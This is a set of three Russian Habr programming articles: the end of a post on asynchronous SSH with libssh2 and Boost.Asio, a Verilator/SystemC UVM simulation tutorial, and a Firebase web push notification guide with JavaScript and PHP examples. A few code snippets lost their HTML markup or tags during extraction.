Иметь стандартный сокет — это хорошо, но не слишком практично, если нужно асинхронно дождаться его готовности к чтению\записи, занимаясь в процессе своими делами. Тут на помощь приходит boost::asio::ip::tcp::socket, имеющий замечательный метод:
```
async_wait(wait_type, WaitHandler)
```
Он замечательным образом конструируется из обычного сокета, для которого мы уже заблаговременно установили соединение и boost::asio::io\_context — контекста выполнения нашего приложения.
**Конструктор асинхронного соединения**
```
class AsyncConnection::Impl : public BaseConnectionImpl,
public std::enable_shared_from_this {
public:
Impl(boost::asio::io\_context &context, const SshConnectData &connect\_data)
: BaseConnectionImpl(connect\_data)
, m\_tcp\_socket(context, tcp::v4(), m\_sock.GetSocket()) {
m\_tcp\_socket.non\_blocking(true);
}
};
```
Теперь нам надо начать выполнение какой-либо команды на удалённом хосте и, по мере поступления данных от нее, отдавать их в некоторый коллбэк.
```
void AsyncRun(const std::string &command, CallbackType &&callback) {
m_read_callback = std::move(callback);
auto ec = libssh2_channel_exec(*m_channel, command.c_str());
TryRead();
}
```
Таким образом, запустив команду, мы передаем управление методу TryRead().
```
void TryRead() {
if (m_read_in_progress) {
return;
}
m_tcp_socket.async_wait(tcp::socket::wait_read, [this, self = shared_from_this()](auto ec) {
if (WantRead()) {
ReadHandler(ec);
}
if (m_complete) {
return;
}
TryRead();
});
}
```
Первым делом мы проверяем, не запущен ли уже процесс чтения каким-то предыдущим вызовом. Если нет, то начинаем ожидать готовности сокета для чтения. В качестве хендлера ожидания используется обычная лямбда с захватом shared\_from\_this().
Обратите внимание на вызов WantRead(). Async\_wait, как оказалось, тоже имеет свои изъяны, и может просто вернуться по таймауту. Чтобы в этом случае не производить лишних действий, я решил проверять сокет через poll без таймаута — действительно ли сокет хочет читать сейчас. Если нет, то мы просто снова запускаем TryRead() и ждём. В противном случае мы сразу приступаем к чтению и передаче данных в коллбэк.
```
void ReadHandler(const boost::system::error_code &error) {
if (error != boost::system::errc::success) {
return;
}
m_read_in_progress = true;
int ec = LIBSSH2_ERROR_EAGAIN;
std::array buffer {};
while ((ec = libssh2\_channel\_read(\*m\_channel, buffer.data(), buffer.size())) > 0) {
std::string tmp;
boost::range::copy(boost::adaptors::slice(buffer, 0, ec), std::back\_inserter(tmp));
if (m\_read\_callback != nullptr) {
m\_read\_callback(tmp);
}
}
m\_read\_in\_progress = false;
}
```
Таким образом, запускается бесконечный асинхронный цикл чтения от запущенного приложения. Следующим шагом для нас станет отправление инструкций приложению:
```
void AsyncWrite(const std::string &data, WriteCallbackType &&callback) {
m_input += data;
m_write_callback = std::move(callback);
TryWrite();
}
```
Переданные в асинхронную запись данные и коллбэк мы сохраним внутри соединения. И запустим очередной цикл, только на этот раз записи:
**Цикл записи**
```
void TryWrite() {
if (m_input.empty() || m_write_in_progress) {
return;
}
m_tcp_socket.async_wait(tcp::socket::wait_write, [this, self = shared_from_this()](auto ec) {
if (WantWrite()) {
WriteHandler(ec);
}
if (m_complete) {
return;
}
TryWrite();
});
}
void WriteHandler(const boost::system::error_code &error) {
if (error != boost::system::errc::success) {
return;
}
m_write_in_progress = true;
int ec = LIBSSH2_ERROR_EAGAIN;
while (!m_input.empty()) {
auto ptr = m_input.c_str();
auto read_size = m_input.size();
while ((ec = libssh2_channel_write(*m_channel, ptr, read_size)) > 0) {
read_size -= ec;
ptr += ec;
}
AssertResult(ec);
m_input.erase(0, m_input.size() - read_size);
if (ec == LIBSSH2_ERROR_EAGAIN) {
break;
}
}
if (m_input.empty() && m_write_callback != nullptr) {
m_write_callback();
}
m_write_in_progress = false;
}
```
Таким образом, мы будем записывать в канал данные до тех пор, пока они все не будут успешно переданы. Затем вернём управление вызывающей стороне, чтобы можно было передать новую порцию данных. Так можно не только слать инструкции какому-то приложению на хосте, но и, например, загружать небольшими порциями файлы любого размера, при этом не блокируя тред, что немаловажно.
С помощью этой библиотеки мне удалось успешно запускать на удалённом сервере скрипт, отслеживающий изменения файловой системы, одновременно вычитывая его вывод и посылая различные команды. В целом: очень ценный опыт адаптации си-стайл библиотеки для современного C++ проекта, использующего Boost.
Буду рад прочитать советы более опытных пользователей Boost.Asio, чтобы познать больше и улучшить свое решение :-). | https://habr.com/ru/post/430488/ | null | ru | null |
# Использование верилятора как средства быстрого моделирования RTL проектов. Введение в UVM
В данной статье будут описаны установка и применение бесплатного ПО для моделирования схем цифровой логики на языке Verilog как альтернативы коммерческих продуктов Incisve от компании Cadense и ModelSim от компании MentorGraphics. Сравнение моделирования в ModelSim и Verilator. Так же будет рассмотрена универсальная методолгия верификации — UVM.
Установка ПО для SystemC UVM
----------------------------
### 1. Верилятор
Одним из языков описания аппаратуры является verilog. На этом языке можно написать модуль.
Например, есть схема счетика:
Его код будет выглядеть так:
```
reg [3:0]counter;
always @(posedge clk or posedge reset)
if(reset)
counter <= 4'd0;
else
counter <= counter + 1'd1;
```
После симуляции получим вейвформы:
Видно, что по фронту тактовой частоты в регистры счетчика будет записываться очередное значение, на единицу большее, чем предыдущее.
Написанный модуль может иметь и более сложную структуру, проверить все состояния которого вручную будет сложно. Нам понадобится автоматизированное тестирование. Для этого необходимо разработать тестовое окружение на одном из языков программирования. Тестовое окружение даст нам возможность провести полную функциональную проверку устройства.
Для тестирование кода проекта помимо таких языков как Verilog, SystemVerilog, Python (для написания моделей), можно использовать язык [SystemC](https://ru.wikipedia.org/wiki/SystemC). SystemC — язык проектирования и верификации моделей системного уровня, реализованный в виде C++ библиотеки с открытым исходным кодом.
Один из способов верификации Verilog модулей с помощью SystemC является трансляция verilog файлов в С++. Поможет нам в этом Verilator.
Verilator — это самый быстрый бесплатный симулятор Verilog HDL, который превосходит большинство коммерческих симуляторов. Verilator компилирует синтезируемый SystemVerilog (обычно это не код тестового стенда), а также некоторые утверждения SystemVerilog и Synthesis в однопоточный или многопоточный код C ++ или SystemC. Verilator был разработан для больших проектов, где быстродействие симуляции имеет первостепенное значение, и особенно хорошо подходит для генерации исполняемых моделей процессоров для групп разработчиков встроенного программного обеспечения. Verilator используется для имитации многих очень больших многомиллионных конструкций шлюзов с тысячами модулей и поддерживается многими поставщиками IP-технологий, включая IP от Arm и всех известных поставщиков RISC-V IP.
Verilator, возможно, не лучший выбор, если вы ожидаете полнофункциональную замену NC-Verilog, VCS или другого коммерческого симулятора Verilog, или поведенческого симулятора Verilog для очень маленького проекта. Однако, если вы Ищите путь для переноса синтезируемого Verilog на C ++ или SystemC, и ваша команда может свободно писать только код на C ++, это бесплатный компилятор Verilog для Вас.
Для установки последней версии на Ubuntu: качаем архив [по ссылке с официального сайта](https://www.veripool.org/ftp/verilator-4.012.tgz).
Устанавливаем:
```
#sudo apt-get install make autoconf g++ flex bison # Prerequisites
unsetenv VERILATOR_ROOT # For csh; ignore error if on bash
unset VERILATOR_ROOT # For bash
tar xvzf verilator*.t*gz
cd verilator*
./configure
make
sudo make install
```
### 2. GTK Wave
GTKWave является полнофункциональным средством просмотра вейвформ а так же позволяет конвертировать файлы из формата vcd в формат fst, более удобный и быстрый.
Устанавливаем:
```
sudo apt-get install gtkwave
```
### 3. SYSTEMC
Язык проектирования и верификации моделей системного уровня, реализованный в виде C++ библиотеки с открытым исходным кодом.
Как уже говорилось ранее, verilator поддерживает systemc, поэтому нужно создать проект, в котором тестбенч будет описан на systemc, а исходные файлы на синтезируемом verilog. Для этого нам понадобятся библиотеки для компилятора g++, которые предоставляет компания Accelera. Accellera Systems Initiative — это независимая некоммерческая организация, занимающаяся созданием, поддержкой, продвижением и продвижением стандартов проектирования, моделирования и верификации на уровне системы для использования во всемирной электронной промышленности.
Скачиваем архив:
<http://accellera.org/images/downloads/standards/systemc/systemc-2.3.1a.tar.gz>
Устанавливаем:
```
tar -xvf systemc-2.3.1a.tar.gz
cd systemc-2.3.1a
mkdir objdir
sudo ./configure --prefix=/usr/local/systemc-2.3.1a/
sudo make
sudo make install
cd ../
```
### 4. UVM для SYSTEMC
В данной статье будет рассмотрен проект, в котором реализована средства верификации UVM. Верификация — это подтверждение соответствия конечного продукта предопределённым эталонным требованиям. Одним их инструментов верификации могут быть тесты. Для того чтобы запустить тестовые последовательности на моделях реальных устройств на уровне RTL описания необходимо разработать тестовое окружение.
[UVM](https://en.wikipedia.org/wiki/Universal_Verification_Methodology) — (Universal Verification Methodology) универсальная методология верификации, стандарт, позволяющий эффективно разрабатывать и повторно использовать окружающую среду проверки IP-блоков. UVM — это методология верификации в задачи которой входит организация эффективного окружения вокруг тестируемого блока. Ее преимущества:
* понятная структура в виде выделенных блоков решающих конкретные
* задачи;
* возможность повторного использования блоков в последующих проектах;
* максимально возможная автоматизация верификации;
* максимально полная отчётная информация позволяющая при появлении ошибки максимально быстро и точно выявить её причины и предложить пути решения.
Методологии UVM состоят из двух частей: набора правил построения тестового окружения и библиотеки заготовок блоков для верификации, например, генератор текстов, сборщик статистики и т.д. Главным достоинством UVM является универсальность и совместимость со сторонними окружениями.
Так как systemc поддерживает методологию UVM, перейдем к установке необходимых библиотек.
Скачиваем архив:
<https://www.accellera.org/images/downloads/drafts-review/uvm-systemc-1.0-beta2.tar.gz>
Устанавливаем:
```
tar -xvf uvm-systemc-1.0-beta2.tar.gz
cd uvm-systemc-1.0-beta2/
mkdir objdir
sudo ./configure --prefix=/usr/local/systemc_uvm/ --with-systemc=/usr/local/systemc-2.3.1a
sudo make
sudo make install
```
Создаем альянс:
```
sudo mkdir /usr/local/uvm_systemc_aliance
```
Копируем в эту папку содержимое папок /usr/local/uvm\_systemc\_aliance/ и /usr/local/systemc-2.3.1/
Скачиваем готовый проект по ссылке:
<https://github.com/paprikun/SYSTEMC/>
Открываем папку verilator examples.
В папке rtl лежит описание устройства. В данном примере это ШИМ контроллер.
В папке sim makefile файл для сборки проекта.
В папке tb код для верилятора. В папке tb/uvm приведен пример uvm окружения. Файл main является входной точкой в тестировании, соединияет тестируемое устройство с uvm окружением.
Пробуем собрать проект из папки sim командой make all. Видим ошибку:
```
/usr/local/uvm_systemc_aliance//include/systemc.h:120:16: error: ‘std::gets’ has not been declared
using std::gets;
```
Исправляем заменой строки 120:
```
#if defined(__cplusplus) && (__cplusplus < 201103L)
using std::gets;
#endif
```
Еще раз пробуем запустить тестбенч и натыкаемся на warning:
```
/usr/local/uvm_systemc_aliance//include/sysc/packages/boost/get_pointer.hpp:21:40: warning: ‘template class std::auto\_ptr’ is deprecated [-Wdeprecated-declarations]
template T \* get\_pointer(std::auto\_ptr const& p)
```
Меняем auto\_ptr на unique\_ptr.
Сборка проекта и симуляция
--------------------------
Теперь когда библиотеки установлены и исправны собираем проект: make all. В папке sim должен появится исполнительный файл simu. Это объект, созданный компилятором. Запускаем его командой ./simu. Должно появится следующее:
```
SystemC 2.3.1-Accellera --- Jun 28 2019 11:39:29
Copyright (c) 1996-2014 by all Contributors,
ALL RIGHTS RESERVED
Universal Verification Methodology for SystemC (UVM-SystemC)
Version: 1.0-beta2 Date: 2018-10-24
Copyright (c) 2006 - 2018 by all Contributors
See NOTICE file for all Contributors
ALL RIGHTS RESERVED
Licensed under the Apache License, Version 2.0
UVM_INFO @ 0 s: reporter [RNTST] Running test ...
simulation real time = 9 sec
UVM_INFO uvm_default_report_server.cpp(666) @ 179490249010 ps: reporter [UVM/REPORT/SERVER]
--- UVM Report Summary ---
** Report counts by severity
UVM_INFO : 1
UVM_WARNING : 0
UVM_ERROR : 0
UVM_FATAL : 0
** Report counts by id
[RNTST] 1
UVM_INFO @ 179490249010 ps: reporter [FINISH] UVM-SystemC phasing completed; simulation finished
```
Когда завершится симуляция запись wafeform закончится. Файл simu.vcd можно открыть программой gtkwave:
Для отображения сигналов слева выбираем SystemC, далее зажав Shift выбираем любые сигналы, и жмем Append. В панели инструментов при наведении курсора появляются подсказки. Скрол мыши работает, нужно зажать shift или cntrl.
Так же есть способы конвертировать этот файл в другой, меньшего размера.
Если есть modelsim сделаем конвертацию. В терминале введем команду vsim. В терминале modelsim:
```
vcd2wlf simu.vcd simu.wlf
```
Или с помощью gtkwave в терминале linux:
```
vcd2lxt simu.vcd simu.lxt
vcd2lxt2 simu.vcd simu.lxt2
```
Для сравнения времени моделирования был создан похожий проект, но уже для [Modelsim](https://www.intel.ru/content/www/ru/ru/software/programmable/quartus-prime/model-sim.html). Папка modelsim\_example. Сходим образом создано UVM окружение. Синтаксис похожий несмотря на то что разные языки. Если установлен Modelsim с поддержкой uvm можно запустить командой make all.
Помимо окружения в обеих проектах сделан замер реального времени моделирования.
По времени получилась разница:
| | | | |
| --- | --- | --- | --- |
| Среда | wafeform | команда для запуска | время моделирования (сек.) |
| Modelsim | да | make sim TRACE=1 | 18 |
| Verilator | да | make sim TRACE=1 | 9 |
| Modelsim | нет | make sim TRACE=0 | 10 |
| Verilator | нет | make sim TRACE=0 | 4 |
Как видно из таблицы verilator имеет преимущество. Данные представлены для ПК с 8Гб оперативной памяти, 8ми ядерным процессором, частотой 800 МГц, загрузкой одного ядра.
Сравним объем файлов:
| | |
| --- | --- |
| simu.vcd | 807.7 MB |
| simu.wlf (конвертация, создан в Verilator) | 41 MB |
| simu.wlf (создан в modelsim) | 9.3 MB |
| simu.lxt | 128 MB |
| simu.lxt2 | 162 МБ |
Здесь verilator проигрывает, но можно поэкспериментировать с созданием вейвформ и глубиной трассировки, периодом записи (начало и конец записи вейвформ можно сместить). С каким файлом работать решать Вам.
В ходе тестирования, помимо времени самого моделирования, было обнаружено расхождение вычитывания входных данных с шины in. Если данные с шины in меняются во время фронта clk, Modelsim считал данные после фронта, verilator до:
```
input clk;
input [7:0] in;
reg [7:0] in_last_ ;
...
always @(posedge clk)
begin
...
in_last_ <= in;
...
end
```
При тестировании этот момент нужно учитывать, так как часть тестового окружения для разных симуляторов будет работать по-разному.
Также verilator не учитывает «x» состояния сигнала и переводит всё в «0»;
UVM TESTBENCH
--------------
Рассмотрим тестовое окружение, папка tb/uvm.
UVM testbench представляет собой окружение над устройством. В данном примере устройство ШИМ контроллер. Схема UVM окружения:
Как видно на схеме UVM состоит из блоков (классов). Каждый блок исполняет свои функции. В примере представлена одна из возможных компоновок тестового окружения. Название и функционал каждого класса соответствует классу от которого он наследован. Рассмотрим каждый класс подробнее.
Environment- файл env.h или env.svh. Это класс, который может содержать один или несколько классов agent, в которых происходит соединение трех классов: sequencer, driver, monitor. В примере агента нет, но его функция реализована в классе env. Для теста нам нужно написать некоторую последовательность действий — секвенс.
Перейдем к коду запуска секвенса:
```
sequence_[n]->start(sqr, NULL);
```
Sequencer (секвенсор) — файл sequncer.h. В system verilog получилось использовать sequencer по умолчанию. Класс, который содержит одну или несколько последовательностей sequence (секвенс) (файлы sequence\_a.h, sequence\_a.svh). Каждая последовательность представляет собой цепочку действий. Одним из таких действий может быть отправка транзакции. Транзакция — передача данных из одного класса в другой. Класс, в котором описаны транзакции — bus\_trans. Далее будет описание двух классов, каждый из которых идеологически имеет свои определенные функции: driver и monitor.
Driver — файл drv.h, drv.svh. Класс, который принимает транзакции от секвенсора и транслирует их в сигналы. Драйвер служит помощником секвенсора на более низком уровне. Рассмотрим отправку одной посылки.
Секвенс открывает окно транзакции, драйвер детектирует это событие и начинает принимать данные. Секвенс ждет ответа от драйвера. Драйвер моделирует сигналы для устройства, затем сигнализирует секвенсору что окно можно закрыть. Идея заключается в том, что секвенсер работает на высоком уровне, а драйвер на более низком.
Сигналы подключены через шину интерфейса к устройству. Интерфейс описан в файлах vip\_if.h, vip\_if.svh.
Далее необходимо проверить, совпадает ли выходные сигналы с ожидаемыми. Есть два пути решения:
* Написание модели для устройства
* Проверка сигналов через агент UVM
В примере рассмотрен второй вариант. Чтобы проверить устройство на функциональном уровне необходимо сверить выходные данные с ожидаемыми. Требованием к устройству была корректность заданной скважности сигнала и периода сигнала. Для наблюдения за выходными сигналами написан новый класс — Мonitor (файл monitor.h, monitor.svh). Обычно, в тестовом окружении монитор переводит сигналы в транзакции (на более высокий уровень) и отправляются в класс сравнения — scoreboard.
В данном примере сигналы сразу проверяются. В случае расхождения ожидаемого значения с измеренным, тест останавливается. | https://habr.com/ru/post/459338/ | null | ru | null |
# Web PUSH Notifications быстро и просто
Добрый день. В этой небольшой заметке я хочу рассказать как быстро и просто настроить push-уведомления на вашем сайте. Эта статья ни в коем случае не претендует на звание исчерпывающего руководства, но, я надеюсь, что она даст точку старта для дальнейшего изучения.
Информации по этой теме в интернете полно, но она фрагментирована, разбросана по разным ресурсам и перемешена с уведомлениями для мобильных устройств с примерами на Java, C++ и Python. Нас же, как веб-разработчиков, интересует JavaScript. В этой статье я постараюсь саккумулировать всю необходимую и полезную информацию.
Я думаю, вы уже знаете что такое [push-уведомления](https://ru.wikipedia.org/wiki/%D0%A2%D0%B5%D1%85%D0%BD%D0%BE%D0%BB%D0%BE%D0%B3%D0%B8%D1%8F_push), но я всё же напишу коротко о главном.
Пользователь, заходя на сайт, вытягивает (pull) с него данные. Это удобно и безопасно, но с развитием интернет ресурсов, появилась необходимость оперативно доставлять информацию пользователям не дожидаясь пока те сами сделают запрос. Так и появилась технология принудительной доставки (push) данных с сервера клиенту.
> **Важно**
>
>
>
> Push-уведомления работают только если у вас на сайте есть [HTTPS](https://ru.wikipedia.org/wiki/HTTPS).
>
> Без валидного SSL сертификата запустить не получится. Так что если у вас еще нет поддержки HTTPS, то пришло время её сделать. Рекомендую воспользоваться [Let's Encrypt](https://letsencrypt.org/).
>
> Для запуска на localhost нужно прибегать к [хитростям](https://www.chromium.org/blink/serviceworker/service-worker-faq). Я же тестировал скрипты на [Github Pages](#proekt-na-github-pages).
Оглавление
==========
* [Хорошие уведомления](#horoshie-uvedomleniya)
* [Теория](#teoriya)
+ [Что же происходит на стороне клиента?](#chto-zhe-proishodit-na-storone-klienta)
+ [Сложности на серверной стороне](#slozhnosti-na-servernoy-storone)
* [Практика](#praktika)
+ [Приступаем к написанию клиента](#pristupaem-k-napisaniyu-klienta)
+ [Отправка уведомлений с сервера](#otpravka-uvedomleniy-s-servera)
* [TTL и дополнительный контроль над уведомлением](#ttl-i-dopolnitelnyy-kontrol-nad-uvedomleniem)
* [Заключение](#zaklyuchenie)
* [Поиграться](#poigratsya)
+ [Проект на GitHub Pages](#proekt-na-github-pages)
* [Ссылки](#ssylki)
Хорошие уведомления
-------------------
Сразу хочу оговориться, что push-уведомления не для рекламных рассылок. Отправлять нужно только то, что действительно нужно конкретному пользователю и на что он действительно должен оперативно отреагировать.
Хороший пример:
* Отправка уведомления об изменении статуса обращения пользователя в службу техподдержки;
* Отправка уведомления об изменении статуса заказа;
* Появление на складе товара, который ждал пользователь;
* Ответили на комментарий пользователя к статье;
* Новая задача в багтрекере со статусом Bug или Critical.
Плохой пример:
* Новые поступления на склад;
* Скидки и акции на товары;
* Новая статья на сайте;
* Ответили на комментарий пользователя к статье, который он написал год назад.
Плохие примеры тоже требуют уведомления, но на них не нужно реагировать оперативно. Эти уведомления можно отправить на почту. Вообще, все важные уведомления рекомендуется дублировать на почту, так-как push-уведомления могут не дойти до пользователя по разным, не зависящих от вас, причинам. Также важным фактором является актуальность события. Об этом я еще поговорю чуть позже. Рекомендую к прочтению:
* [Хорошие уведомления по мнению Google](https://developers.google.com/web/fundamentals/engage-and-retain/push-notifications/good-notification)
* [Рекламная статья от PushAll](https://pushall.ru/blog/whatispushnotifications)
Вернемся к нашим баранам. Так как же всё это работает? Для начала немного теории.
Теория
------
Среди непосвященных бытует мнение что push-уведомления это простая технология, не требующая для реализации особых ресурсов. В действительности же это целый пул технологий.
Для начала небольшая схема того как все это работает ([анимированная схема](https://hsto.org/files/b2e/53d/383/b2e53d38399544dc8961c5c39426d563.gif)):
1. Сервер отдает страницу пользователю;
2. Клиент подключается к серверу сообщений, регистрируется и получает ID;
3. Клиент отправляет полученный ID на сервер и сервер привязывает конкретного пользователя к конкретному устройству используя ID устройства;
4. Сервер отправляет сообщение клиенту через сервер сообщений используя полученный ранее ID.
*К сожалению, мне не удалось выяснить кто и как создает ID устройства и как сервер сообщений привязывается к конкретному устройству. Я использовал сервер сообщений [Firebase Cloud Messaging](https://firebase.google.com/docs/cloud-messaging/) от Google и его библиотеку. К сожалению, я не смог выяснить можно ли его заменить на свой сервер и как это сделать.*
> **Забавный факт**
>
>
>
> Изначально для отправки сообщений использовали:
>
> Cloud to Device Messaging
>
>
>
> Потом его заменили на:
>
> Google Cloud Messaging
>
>
>
> А потом еще раз поменяли на:
>
> Firebase Cloud Messaging
>
>
>
> Интересно, что дальше.
### Что же происходит на стороне клиента?
* JavaScript запрашивает у пользователя разрешение на показ уведомлений;
* Если пользователь одобрил, то подключаемся к серверу сообщений и получаем ID устройства;
* Отправляем идентификатор на наш сервер, чтобы мы идентифицировали пользователя;
* Инициализируем JavaScript [воркер](https://developer.mozilla.org/ru/docs/Web/API/ServiceWorker) который будет работать в фоне, получать сообщения от сервера сообщений и показывать их пользователю;
* Подключаемся к серверу сообщений и ждем новых поступлений.
> **Заметка**
>
>
>
> Google [рекомендует](https://developers.google.com/web/fundamentals/engage-and-retain/push-notifications/permissions-subscriptions) использовать переключатель для подписки и отписки от уведомлений. Таким образом, инициация процедуры подписки на уведомления исходит от пользователя, а не от сайта.
>
> **Принудительно подписывать на уведомления каждого приходящего пользователя, это плохая практика. Не делайте так.**
Это все выглядит очень сложно, но на сервере все не проще.
### Сложности на серверной стороне
* Понятно, что идентификатор устройства, присылаемый пользователем, мы сохраняем в базу данных;
* Идентификатор устройства хорошо бы привязывать к пользователю, чтобы отправлять персонализированные сообщения;
* Стоит помнить, что пользователь у нас один, а устройств у него может быть несколько, также одним устройством могут пользоваться несколько пользователей;
* Отправка уведомлений пользователям не самая дешевая операция и поэтому событие, инициирующее отправку уведомления, нужно ставить в очередь на отправку;
* Только маленькие проекты с малым числом получателей могут позволить себе отправлять уведомления по событию, в течении того-же HTTP запроса;
* Так у нас появляется система очередей на RabbitMQ, Redis и т.д.;
* Появляются демоны/воркеры которые разбирают очередь и другие инструменты поддержки очередей;
* Для увеличения скорости отправки можно распараллелить процесс и разнести его на несколько нод.
Практика
--------
Наконец-то, мы перешли к самому главному. Как я уже говорил ранее, в качестве сервера сообщений мы будем использовать **Firebase Cloud Messaging**, поэтому мы начинаем с регистрации и создания проекта на Firebase.
Тут все просто:
* Заходим на [сайт](https://console.firebase.google.com);
* Регистрируемся;
* Жмём кнопку *Create new project* или *Import Google project*, если у вас уже есть проект;
* При создании указываем название проекта и страну;
* После создания проекта попадаем на его dashboard;
* В меню наводим на колесико рядом с *Overview* и выбираем *Project settings*;
* На открывшейся странице переходим во вкладку *Cloud Messaging*;
* Нас интересует **Server key**, который будет использоваться для отправки сообщений с сервера и **Sender ID** который будет использоваться для получения сообщений на стороне клиента.
Можно еще покопаться в настройках и поиграться с разделением прав доступа, но, в общем-то, работа с сайтом Firebase закончена.
### Приступаем к написанию клиента
Начнем с того что создадим [Service Worker](https://developer.mozilla.org/ru/docs/Web/API/ServiceWorker) для получения push-уведомлений.
Создаем файл *firebase-messaging-sw.js* с следующим содержимым.
```
// firebase-messaging-sw.js
importScripts('https://www.gstatic.com/firebasejs/3.6.8/firebase-app.js');
importScripts('https://www.gstatic.com/firebasejs/3.6.8/firebase-messaging.js');
firebase.initializeApp({
messagingSenderId: ''
});
const messaging = firebase.messaging();
```
где,
* — это **Sender ID** который мы получили после регистрации в Firebase.
> **Важное замечание**
>
>
>
> Файл Service Worker-а должен называться именно *firebase-messaging-sw.js* и обязательно должен находиться в корне проекта, то есть доступен по адресу *<https://example.com/firebase-messaging-sw.js>*. Путь к этому файлу жестко прописан в [библиотеке](https://www.gstatic.com/firebasejs/3.6.8/firebase.js) Firebase.
Написанного кода достаточно для того чтобы показывать уведомления. О дополнительных возможностях поговорим чуть позже. Теперь добавим библиотеку Firebase и скрипт подписки в наш шаблон страницы.
```
```
Добавляем на страницу кнопку для подписки на уведомления
```
Следить за изменениями
```
Подписка на уведомления
```
// firebase_subscribe.js
firebase.initializeApp({
messagingSenderId: ''
});
// браузер поддерживает уведомления
// вообще, эту проверку должна делать библиотека Firebase, но она этого не делает
if ('Notification' in window) {
var messaging = firebase.messaging();
// пользователь уже разрешил получение уведомлений
// подписываем на уведомления если ещё не подписали
if (Notification.permission === 'granted') {
subscribe();
}
// по клику, запрашиваем у пользователя разрешение на уведомления
// и подписываем его
$('#subscribe').on('click', function () {
subscribe();
});
}
function subscribe() {
// запрашиваем разрешение на получение уведомлений
messaging.requestPermission()
.then(function () {
// получаем ID устройства
messaging.getToken()
.then(function (currentToken) {
console.log(currentToken);
if (currentToken) {
sendTokenToServer(currentToken);
} else {
console.warn('Не удалось получить токен.');
setTokenSentToServer(false);
}
})
.catch(function (err) {
console.warn('При получении токена произошла ошибка.', err);
setTokenSentToServer(false);
});
})
.catch(function (err) {
console.warn('Не удалось получить разрешение на показ уведомлений.', err);
});
}
// отправка ID на сервер
function sendTokenToServer(currentToken) {
if (!isTokenSentToServer(currentToken)) {
console.log('Отправка токена на сервер...');
var url = ''; // адрес скрипта на сервере который сохраняет ID устройства
$.post(url, {
token: currentToken
});
setTokenSentToServer(currentToken);
} else {
console.log('Токен уже отправлен на сервер.');
}
}
// используем localStorage для отметки того,
// что пользователь уже подписался на уведомления
function isTokenSentToServer(currentToken) {
return window.localStorage.getItem('sentFirebaseMessagingToken') == currentToken;
}
function setTokenSentToServer(currentToken) {
window.localStorage.setItem(
'sentFirebaseMessagingToken',
currentToken ? currentToken : ''
);
}
```
Вот и все. Это весь код который требуется для получения push-уведомлений.
### Отправка уведомлений с сервера
В общем виде отправка уведомления выглядит так:
```
POST /fcm/send HTTP/1.1
Host: fcm.googleapis.com
Authorization: key=YOUR-SERVER-KEY
Content-Type: application/json
{
"notification": {
"title": "Ералаш",
"body": "Начало в 21:00",
"icon": "https://eralash.ru.rsz.io/sites/all/themes/eralash_v5/logo.png?width=40&height=40",
"click_action": "http://eralash.ru/"
},
"to": "YOUR-TOKEN-ID"
}
```
где,
* `YOUR-SERVER-KEY` — это **Server key** который мы получили при регистрации в Firebase;
* `YOUR-TOKEN-ID` — это ID устройства конкретного пользователя.
Все поля по порядку:
* `notification` — параметры уведомления;
* `title` — заголовок уведомления. Лимит 30 символов;
* `body` — текст уведомление. Лимит 120 символов;
* `icon` — иконка уведомления. Есть некоторые [стандарты](https://resizeappicon.com/sizes) размеров иконок, но я использую 192x192. Иконки меньшего размера плохо смотрятся на мобильных устройствах;
* `click_action` — URL адрес страницы на которую перейдет пользователь кликнув по уведомлению;
* `to` — ID устройства получателя уведомления;
* Полный список параметров [здесь](https://firebase.google.com/docs/cloud-messaging/http-server-ref).
Это пример отправки одного уведомления одному получателю. Можно отправить одно уведомление сразу нескольким получателям. Вплоть до **1000** получателей за раз.
```
{
"notification": {
"title": "Ералаш",
"body": "Начало в 21:00",
"icon": "https://eralash.ru.rsz.io/sites/all/themes/eralash_v5/logo.png?width=192&height=192",
"click_action": "http://eralash.ru/"
},
"registration_ids": [
"YOUR-TOKEN-ID-1",
"YOUR-TOKEN-ID-2"
"YOUR-TOKEN-ID-3"
]
}
```
Пример ответов от сервера сообщений:
**Отправка уведомления в Chrome**
```
{
"multicast_id": 6407277574671070000,
"success": 1,
"failure": 0,
"canonical_ids": 0,
"results": [
{
"message_id": "0:1489072146895227%e609af1cf9fd7ecd"
}
]
}
```
**Отправка уведомления в FireFox**
```
{
"multicast_id": 7867877497742898000,
"success": 1,
"failure": 0,
"canonical_ids": 0,
"results": [
{
"message_id": "https://updates.push.services.mozilla.com/m/gAAAAABYwWmlTCKje5OLwedhNUQr9LbOCmZ0evAF9HJBnR-v7DF2KEkZY3zsT8AbrqB6JfJO6Z6vsotLJMmiIvJs9Pt1Q9oc980BRX2IU1-jlzRLIhSVVBLo2i80kBvTMYadVAMIlSIyFkWm-qg_DfLbenlO9z1S4TGMJl0XbN5gKMUlfaIjnX2FBG4XsQjDKasiw8-1L38v"
}
]
}
```
**Ошибка отправки уведомления**
```
{
"multicast_id": 8165639692561075000,
"success": 0,
"failure": 1,
"canonical_ids": 0,
"results": [
{
"error": "InvalidRegistration"
}
]
}
```
Полный список [кодов ошибок](https://firebase.google.com/docs/cloud-messaging/http-server-ref#error-codes).
Мы не привязаны к какому-то конкретному языку программирования и для простоты примера будем использовать PHP с расширением cURL. Скрипт отправки уведомления нужно запускать из консоли.
```
#!/usr/bin/env php
php
$url = 'https://fcm.googleapis.com/fcm/send';
$YOUR_API_KEY = ''; // Server key
$YOUR_TOKEN_ID = ''; // Client token id
$request_body = [
'to' = $YOUR_TOKEN_ID,
'notification' => [
'title' => 'Ералаш',
'body' => sprintf('Начало в %s.', date('H:i')),
'icon' => 'https://eralash.ru.rsz.io/sites/all/themes/eralash_v5/logo.png?width=192&height=192',
'click_action' => 'http://eralash.ru/',
],
];
$fields = json_encode($request_body);
$request_headers = [
'Content-Type: application/json',
'Authorization: key=' . $YOUR_API_KEY,
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt($ch, CURLOPT_HTTPHEADER, $request_headers);
curl_setopt($ch, CURLOPT_POSTFIELDS, $fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);
echo $response;
```
### messaging.onMessage
Обработчик `messaging.onMessage` стоит отдельного упоминания, так как он относится как раз к категории подводных камней. В примерах от Firebase я не видел примера использование этого обработчика. О нем мне рассказал [FluorescentHallucinogen](https://habr.com/ru/users/fluorescenthallucinogen/), за что ему отдельное спасибо, но он не упомянул о некоторых особенностях его использования.
